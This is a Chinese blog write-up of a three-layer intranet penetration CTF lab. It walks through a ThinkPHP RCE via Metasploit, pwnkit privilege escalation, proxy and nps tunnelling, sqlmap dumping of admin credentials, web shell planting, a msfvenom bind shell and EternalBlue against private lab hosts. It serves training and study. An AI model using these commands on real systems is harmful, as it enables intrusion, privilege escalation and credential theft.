CTF赛三层内网渗透

最新推荐文章于 2025-01-29 22:39:11 发布
最新推荐文章于 2025-01-29 22:39:11 发布
阅读量2.1k 收藏 31
点赞数 30
文章标签： 经验分享 笔记 网络 安全
版权声明：本文为博主原创文章，遵循 CC 4.0 BY-SA 版权协议，转载请附上原文出处链接和本声明。
本文链接：https://blog.csdn.net/weixin_59047731/article/details/136023298
版权

CTF赛三层内网渗透

前言

2019某CTF线下赛真题内网结合WEB攻防题库，涉及WEB攻击，内网代理路由等技术，每台服务器存在Flag，获取一个Flag对应一个积分，获取三个Flag结束。

第一关 Taget1_centos7

1、访问目标网页

在这里插入图片描述

发现是ThinkPHP架构的网页，此时就要引起注意了（v5版本），此时我想到msfconsole里面有个thinkphp模块，可以用来尝试一下

2、搜索可利用的模块

search thinkphp

在这里插入图片描述

3、使用模块

use 0

配置选项show options

在这里插入图片描述

配置完成后run起来

在这里插入图片描述

成功拿到meterpreter

3.1 第一个flage

在这里插入图片描述

3.2 第二个flag

在这里插入图片描述

4、开始提权

方法：系统漏洞直接提权

4.1 搜索和使用模块
post/multi/recon/local_exploit_suggester

在这里插入图片描述

use exploit/linux/local/cve_2021_4034_pwnkit_lpe_pkexec

在这里插入图片描述

此时就是root权限了

在这里插入图片描述

4.2拿到第三个flage

在这里插入图片描述

在这里插入图片描述

第二关 Taget1_ubuntu 64位

首先要明确一点，第二关我们的kali是不能够直接去访问的，因为第二台靶机处于的是内网环境，所以我们要通过我们拿下的第一台靶机作为跳板去访问渗透第二台靶机

1、尝试通过kali自带的代理模块

1.1 添加路由

在这里插入图片描述

此时我们有第一关靶机的两个不同权限的会话，我们要通过这两个任意的一个会话添加我们访问第二台靶机的路由

进入会话

sessions -i 2

在这里插入图片描述

下面这个命令是在靶机上创建类似于cmd命令行格式的，带有回显的命令编辑器，方便我们输入命令

python -c "import pty;pty.spawn('/bin/bash')"

在这里插入图片描述

查看网段信息

在这里插入图片描述

我们就要用内部网段当做跳板

验证猜想

这里再ping一下百度，确认这个靶机有张网卡确实属于外部网卡

ping -c baidu.com

在这里插入图片描述

回到meterpreter查看路由

run autoroute -p

可以看到此时是没有路由表存在的

在这里插入图片描述

所以需要手动去添加

这里添加的是访问22网段的路由，命令如下

run autoroute -s 192.168.22.0/24

成功添加上路由

在这里插入图片描述

1.2 kali添加代理

bg退出meterpreter

搜索代理模块

search socks5_proxy

在这里插入图片描述

设置本机为代理服务器

set SRVHOST 127.0.0.1

直接run，开启代理

在这里插入图片描述

如果开启之后就直接停止了，就很有可能是1080端口被占用了

可以使用以下命令查看端口的占用情况

netstat -antlp |grep 1080

在这里插入图片描述

此时还不能访问，因为还没有修改代理的配置文件

修改配置文件

vi /etc/proxychains4.conf

在这里插入图片描述

在这文件最下方的ProxyList中修改，如果有其他的直接注释掉

在这里插入图片描述

此时就可以去访问22网段了

2、使用nmap扫描22网段存活主机

因为VM虚拟机自身网卡的问题，这里进行22网段存活主机显示全部存活

nmap -sn -Pn 192.168.22.0/24

在这里插入图片描述

所以我们这里就不进行22网段的目标查找了，因为这里是我们自己搭建的，这里就借用一下上帝视角，直接去访问目标靶机ip

192.168.22.129

3、成功访问第二层

在这里插入图片描述

4、配置火狐浏览器，访问目标网页

在这里插入图片描述

成功访问到

在这里插入图片描述

这里最后还提示了有一个sql注入点

在这里插入图片描述

5、寻找flage和拿shell的点

使用sqlmap进行注入

proxychains sqlmap -u "http://192.168.22.129/index.php?r=vul&keyword=1"

开始注入

在这里插入图片描述

这里就发现问题了

在这里插入图片描述

代理超时了，这个原因就是说msf的代理模块本身就不稳定，不支持我们用工具，此时的代理已经是die掉了，所以我们就要尝试更加稳定的代理nps

6、nps代理工具的下载，安装，配置和使用

我们先关闭sql进程

ps -ef|grep sqlmap

关闭代理

在这里插入图片描述

nps下载地址

https://github.com/ehang-io/nps

先查看自己的kali版本，从而选择适合自己的版本

uname -a

这里我下载到了/opt目录下

在这里插入图片描述

解压之后就是nps文件

安装nps

./nps install

在这里插入图片描述

启动nps

./nos start

在这里插入图片描述

检查服务开启状态

因为nps默认是8080端口

netstat -antlp |grep 8080

在这里插入图片描述

然后去物理机访问

192.168.38.147:8080
||
kali的ip:8080

在这里插入图片描述

登录成功

在这里插入图片描述

7、nps配置隧道

首先新增一个配置

在这里插入图片描述

在这里插入图片描述

查看客户机命令配置

在这里插入图片描述

然后想办法把下载的npc客户机文件上传到第一个靶机，让它成为跳板

8、上传npc客户机文件到第一个靶机

通过我们拿到的sessions

upload

在这里插入图片描述
在这里插入图片描述

成功上传

在这里插入图片描述

安装客户机

在这里插入图片描述

在这里插入图片描述

输入刚刚复制的命令

./npc -server=192.168.38.147:8024 -vkey=ksqn2nsug8ls8yhd -type=tc

成功

在这里插入图片描述

在这里插入图片描述

点击隧道->新增->选择socks代理

在这里插入图片描述

修改配置文件为刚刚你设置的端口号

在这里插入图片描述

在这里插入图片描述

再次访问

在这里插入图片描述

成功了

到此为止隧道打通了

9、开始获取meterpreter

使用sqlmap开始注入

proxychains sqlmap -u "http://192.168.22.129/index.php?r=vul&keyword=1" --batch

这次不仅快，并且不会有超时不稳定的问题

在这里插入图片描述

sqlmap成功了

接下来获取后台的登录账户和密码

获取库名

proxychains sqlmap -u "http://192.168.22.129/index.php?r=vul&keyword=1" --batch --dbs

在这里插入图片描述

很明显，对我们有用的数据库是bagecms

所以我们先去获取这个数据库的所有表名

proxychains sqlmap -u "http://192.168.22.129/index.php?r=vul&keyword=1" --batch bagecms --tables

在这里插入图片描述

然后我们去获取bage_admin表里面的字段名

proxychains sqlmap -u "http://192.168.22.129/index.php?r=vul&keyword=1" --batch -D bagecms -T bage_admin --columns

在这里插入图片描述

获取字段中的内容

proxychains sqlmap -u "http://192.168.22.129/index.php?r=vul&keyword=1" --batch -D bagecms -T bage_admin -C username,password --dump 
获取特定的
或者是
proxychains sqlmap -u "http://192.168.22.129/index.php?r=vul&keyword=1" --batch -D bagecms -T bage_admin --dump
获取整个表的字段

在这里插入图片描述

10、登录后台

此时要重新配置火狐浏览器，设置端口为新的代理端口才可以访问

同时的话这里有两种方案获取后台地址

10.1、通过网上查询bagecms获取后台地址

建议用谷歌语法查询

在这里插入图片描述

10.2、通过目标扫描查询地址（通用方法）

用物理机的direarch挂代理扫描，具体的安装方法这里我就不再赘述了

python dirsearch.py -u http://192.168.22.129 --p
roxy=scoks5://192.168.38.147:1314

11、在后台写入shell

在这里插入图片描述

11.1获取flag
 flag{eS3sd1IKarw}
11.2进入模块管理

写入木马

在这里插入图片描述

然后去访问文件

http://192.168.22.129/index.php?r=tag&666=phpinfo();

在这里插入图片描述

12、连接蚁剑

注意这里的蚁剑需要设置代理才能连接上目标

在这里插入图片描述

在这里插入图片描述

在这里插入图片描述

12.1获取flag

在这里插入图片描述

13、制作正向的后门文件，通过蚁剑上传到目标的靶机

msfvenom -p linux/x64/meterpreter/bind_tcp lport=6666 -f elf > /opt/dict/target2.elf

在这里插入图片描述

找到这个文件，通过蚁剑去上传

在这里插入图片描述

13.1 在kali中监听6666端口
use exploit/multi/handler

show options
set LPORT 6666
set LHOST 192.168.22.129
set payload linux/x64/meterpreter/bind_tcp

这里是监听靶机的6666端口，因为是kali发出的正向

在这里插入图片描述

然后run起来之后去蚁剑执行这个文件

在这里插入图片描述

13.2成功拿下第二个靶机

在这里插入图片描述

第三关 window7

用代理启动msf

在这里插入图片描述

再去弄一个正向的shell获得meterpreter

配置路由

查看一下

run autoroute -p

在这里插入图片描述

添加33网段的路由

run autoroute -s 192.168.33.0/24

在这里插入图片描述

搜索模块

search ms17

通过永恒之蓝获取权限即可

[网络安全自学篇] 五十六.i春秋老师分享小白渗透之路及Web渗透技术总结
杨秀璋的专栏
03-05 2万+
这是作者的网络安全自学教程系列，主要是关于安全工具和实践操作的在线笔记，特分享出来与博友们学习，希望您们喜欢，一起进步。前文讲解了Windows漏洞利用知识和DEP堆栈执行保护机制，通过构造ROP链来绕过DEP保护，并编写漏洞利用脚本并实现自动化攻击。本文将分析i春秋YOU老师的小白渗透之路，并结合作者系列文章总结Web渗透技术点，非常适合初学者学习，希望对您有所帮助~
内网安全-信息收集-内网资源探测-扫描内网存活主机
cc123489ll的博客
05-01 1477
在实际的渗透测试过程中，面对复杂多变的网络环境，当常用工具不能满足实际需求的时候，往往需要对现有工具进行扩展，或者编写符合我们要求的工具、自动化脚本，这个时候就需要具备一定的编程能力。接下来我将给大家安排一个为期1个月的网络安全初级计划，当你学完后，你基本可以从事一份网络安全相关的工作，比如渗透测试、Web渗透、安全服务、安全分析等岗位；其中，如果你等保模块学的好，还可以从事等保工程师。Python编程学习，学习内容包含：语法、正则、文件、 网络、多线程等常用库，推荐《Python核心编程》，没必要看完。
内网渗透代理知识以及渗透某CTF三层靶机实例
m0_58595840的博客
01-04 2166
内网代理技术拿下某CTF三层靶机渗透
CTF内网渗透笔记
qq_26579613的博客
11-10 4249
一、漏洞挖掘相关工具的使用 NMAP扫描工具使用 1.扫描指定的IP范围 nmap 192.168.0.101-110 2.扫描指定的IP网段 nmap 192.168.0.* --exclude 192.168.0.100 3.扫描指定网址的操作系统类型（深度扫描） nmap -A 192.168.0.101 or nmap -O 192.168.0.101 4.扫描网络内活跃的主机（该命令会跳过端口扫描或检测） nmap -sP 192.168.0.* 5.快速扫描主
浅谈内网渗透
crystal0011的专栏
06-15 871
转自：freebuf.com 引子 离上篇文章的时间过去很久了，答应写一篇内网渗透的文章，今天抽点时间，把这个坑给添平了吧。标题是浅谈，所以我不认为自己能在内网渗透写的有多深入。渗透这玩意更多是经验，积累的多了自然水到渠成。而且我个人认为很多前辈人物都已经写的很好了，我这里纯粹抛砖引玉，把前辈级人物的经验集成在一起，也算基础篇吧。如果有不足的地方或者有更好的实现方法，欢迎随时交流。交流方式就以
ctfshow web入门 内网渗透篇
羽的博客
06-26 3256
首先在登录函数中存在doFilter对传入的用户名密码进行过滤，所以很难去注入。再来看下另外一台靶机，因为存在web服务，但是又不能出网所以通过ssh端口映射到本地来。没错，可以用phar，毕竟我们还有个文件上传的功能，后面需要做的就是这么触发phar。没有使用doFilter函数过滤，只是要求了我们传入的参数需要符合email格式。先看下445端口，靶机给我们提供了msf，所以直接用msf打下Samba。在api/index.php中存在一个写文件的功能，假如可以控制。的值，就可以写入一个木马进去。
有了这个网络安全面试题，面试就像开了挂！（附PDF）
lvaolan的博客
02-26 1592
还有兄弟不知道网络安全面试可以提前刷题吗？费时一周整理的160+网络安全面试题，金九银十，做网络安全面试里的显眼包！王岚嵚工程师面试题（附答案），只能帮兄弟们到这儿了！如果你能答对70%，找一个安全工作，问题不大。对于有1-3年工作经验，想要跳槽的朋友来说，也是很好的温习资料！【完整版领取方式在文末！！​​​​内容实在太多，不一一截图了。
三层内网渗透笔记-靶场（teamssix.com）
mingyqf的博客
02-02 930
渗透流程参考：https://mp.weixin.qq.com/s/oa_7YBrvtCRIYlBbwcqoVQ，部分截图引用该公众号。
三层网络靶场搭建&MSF内网渗透
2301_77147728的博客
03-23 478
在最近的CTF比赛中，综合靶场出现的次数越来越多，这种形式的靶场和真实的内网渗透很像，很贴合实际工作，但我们往往缺少多层网络的练习环境。本文通过VMware搭建3层网络，并通过msf进行内网渗透，涉及代理搭建，流量转发，端口映射等常见内网渗透技术。
CTF从入门到精通
最新发布
qq_43813373的博客
01-29 977
CTF备战笔记
cfs三层靶机——内网渗透
记录学习
09-09 2136
内网渗透
内网安全-隧道穿透漫游
m0_67105288的博客
02-23 720
隧道穿透与端口转发 什么是隧道？ 在渗透测试中，进入内网后，我们要判断流量是否能够出的去、进的来。 在实际的网络情况下，流量会经过很多的边界设备，在一般的企业内网中，可能会存在 IDP、IPS、防火墙等设备，如果异常的话，就会直接将通信阻断；这里我们说的隧道，就是绕过端口屏蔽的通信方式。防火墙两端的数据包通过防火墙所允许的数据包类型或者端口进行封装，然后穿过防火墙，与对方通信。当被封装的数据包达到了另外的地址的时候，解包还原，并将还原后的数据包发送到相应的服务器上。 常见的隧道包括三个大类：网络层、应用
利用MSF实现三层网络的一次内网渗透
weixin_34357962的博客
06-19 602
目标IP192.168.31.207 很明显这是一个文件上传的靶场 白名单限制 各种尝试之后发现这是一个检测文件类型的限制 上传php大马文件后抓包修改其类型为 image/jpeg 上传大马之后发现目标是linux系统 尝试反弹一个shell成功了是www权限 查看内核版本如下 上传对应的cve进行提权 脚本如下： ...
网络测试实验四 CTF实践
rqgwww的博客
12-12 3316
实验目的：通过对目标靶机的渗透过程，了解CTF竞赛模式，理解CTF涵盖的知识范围，如MISC、PPC、WEB等，通过实践，加强团队协作能力，掌握初步CTF实战能力及信息收集能力。熟悉网络扫描、探测HTTP web服务、目录枚举、提权、图像信息提取、密码破解等相关工具的使用。 系统环境：Kali Linux 2、WebDeveloper靶机来源：https://www.vulnhub.com/ 实验工具：不限 实验步骤和内容： 目的：获取靶机Web Developer 文件/root/flag.txt
CFS三层内网环境 渗透流程
baynk的博客
07-07 1879
0x00 环境搭建 本身作者环境已经部署完成，只需要更改IP地址及服务策略即可正常使用。原文地址公众号teamssix，回复cfs即可。 我这里将操作时将环境做了一定调整，将Target 1的Vmnet1网卡改成了VMnet8，其余的保持不变，另外还需要在Target 1的宝塔面板中加入对应的IP地址 另外如果靶机开机时没有IP地址，也需要自己手动将IP地址配置完成，确保攻击环境和Targert 1能通信，Target 2可以和Target 1与Target 3可以相互通信。 0x01 Target
靶场covfefe CTF之内网渗透（一）
派大李的博客
11-19 2009
靶场环境和系统：Linux内网 靶机IP：192.168.8.103 kali-ip ：192.168.0.102 一、信息收集： 1、主机发现： netdiscover - r 192.168.0.0/24 //获取同网段信息 2、端口扫描： nmap -sV -T4 192.168.0.103 //获取主机端口信息 nmap -T4 -A -v 192.168.0.103 //获取主机详细信息 3、目录扫描： dirb http://192.168.0.103:31337 //获取网站
CFS 三层内网环境搭建及渗透
m0_62207170的博客
03-14 1307
cfs三层内网搭建及其复现
渗透测试练习题解析 4（CTF web）
于高山之巅，方见大河奔涌；于群峰之上，更觉长风浩荡。
02-18 1920
这个其实挺难想到的，开始我也没想到，看了大佬 wp 才知道，因为前面有个地方干扰到我了，这一串我前面试了很多又是解码又是转图片转文件都没解出来，我以为这个位置的数据没什么用，导致后面没去理这块地方（没猜错的话应该是这个熊猫图的编码，不过不知道为什么转码转不出来）来查看当前目录所有文件名，但是 scandir('.') 包含参数了，不符合条件，所以需要使用别的函数来替代。），使其满足三个 if 条件中的一个，从而执行 $flag 得到 flag，而不是说要绕过三个 if ，去执行最后一行代码，这是不现实的。
CTF-内网1-Wp
qq_28545703的博客
10-30 674
CTF-内网1-wp 题目考点是tp命令执行+反弹出网+内网渗透+提权 解题过程 这个题目花了一天时间才弄完 上半天：拿到环境后打开tp5的命令执行，一开始想着命令执行反弹shell，但是没有成功 后面就开始翻文件，数据库配置文件，内网吗，应该要继续搞这台 连接数据库后，是个假的Sa吧，不过还好可以执行命令，查看了一下有好几个用户呢，hack,test，administrator,guest等等，不过这都不是重点（我还爆破了hack跟test，想着是不是这两个用户提权到administrator）,居然p
ctf比赛 web渗透
10-17
好的，我明白了。对于你的问题，我可以提供一些基本的信息和建议。 首先，CTF比赛中的Web渗透是一个非常广泛的主题，涉及到许多不同的技术和工具。一般来说，这种类型的比赛会涉及到一些常见的漏洞，例如SQL注入、XSS、CSRF等等。因此，你需要掌握这些漏洞的基本原理和检测方法。 其次，你需要熟悉一些常用的Web渗透工具，例如Burp Suite、OWASP ZAP、sqlmap等等。这些工具可以帮助你自动化地检测漏洞，并且提供一些有用的功能，例如拦截和修改HTTP请求、抓取和分析响应等等。 最后，你需要不断练习和提高自己的技能。参加一些CTF比赛或者挑战赛可以帮助你锻炼自己的技能，并且学习到一些新的技术和工具。
评论
添加红包

请填写红包祝福语或标题

个

红包个数最小为10个

元

红包金额最低5元

当前余额3.43元 前往充值 >
需支付：10.00元
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

落樱坠入星野

你的鼓励将是我创作的最大动力

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付：¥1
获取中
扫码支付

您的余额不足，请更换扫码支付或充值

打赏作者

实付元
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明：

1.余额是钱包充值的虚拟货币，按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载，可以购买VIP、付费专栏及课程。

余额充值